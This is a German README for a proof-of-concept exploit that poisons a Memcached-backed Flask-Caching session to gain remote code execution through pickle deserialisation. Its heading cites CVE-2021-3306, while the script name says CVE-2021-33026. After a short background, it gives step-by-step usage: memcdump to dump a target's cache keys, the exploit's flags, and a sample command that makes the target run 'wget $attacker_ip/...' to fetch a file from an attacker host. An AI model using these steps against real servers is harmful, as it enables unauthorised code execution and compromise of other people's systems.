
Pickle Serialisierung Remote Code Execution - Memcached Poisoning
Pickle-Serialisierung Remote Code Execution – Memcached-Poisoning-PoC-Exploit
Was ist CVE-2021-3306?
Die Flask-Caching-Erweiterung bis Version 1.10.1 für Flask verwendet Pickle zur Serialisierung, was zu Remote Code Execution oder lokaler Privilegieneskalation führen kann. Wenn ein Angreifer Zugriff auf den Cache-Speicher (z. B. Dateisystem, Memcached, Redis usw.) erlangt, kann er einen manipulierten Payload erstellen, den Cache vergiften und Python-Code ausführen.
Welche Funktion hat die Pickle-Bibliothek?
Pickle in Python wird hauptsächlich zum Serialisieren und Deserialisieren einer Python-Objektstruktur verwendet. Mit anderen Worten, es ist der Prozess der Umwandlung eines Python-Objekts in einen Bytestrom, um es in einer Datei/Datenbank zu speichern, den Programmstatus über Sitzungen hinweg zu erhalten oder Daten über das Netzwerk zu transportieren.
Was ist Memcached?
Memcached ist ein universelles verteiltes In-Memory-Caching-System. Es wird häufig verwendet, um dynamische datenbankgesteuerte Websites zu beschleunigen, indem Daten und Objekte im RAM zwischengespeichert werden, um die Anzahl der Lesezugriffe auf eine externe Datenquelle zu reduzieren.
[!] Ausnutzung:
1. Damit der Exploit funktioniert, muss ein Session-Cookie bereitgestellt werden. Warum? In diesem Proof of Concept haben wir einen Fall, in dem das Session-Cookie einer angreifbaren Flask-Anwendung vom Memcached-Dienst verwaltet oder gespeichert wird:
memcdump --servers=target_machine_ip_address

2. Nutzung des Exploits:
-h --> help menu
--cmd --> Command to get executed on the target machine
--rhost --> Target Machine Ip Address
--rport --> Target Machine Port
--cookie --> Your ACTUAL SESSION COOKIE from the VULNERABLE FLASK Application. Example: session:58e61600-9ecf-45b8-b7b8-db2f0a00f421
3. Ausführen des Exploits:
python3 cve-2021-33026_PoC.py --rhost $target_machine_ip_address --rport $target_machine_port --cmd "wget $attacker_ip/picke_memcached_posisoning_exploit" --cookie "session:58e61600-9ecf-45b8-b7b8-db2f0a00f421"

Referenzen: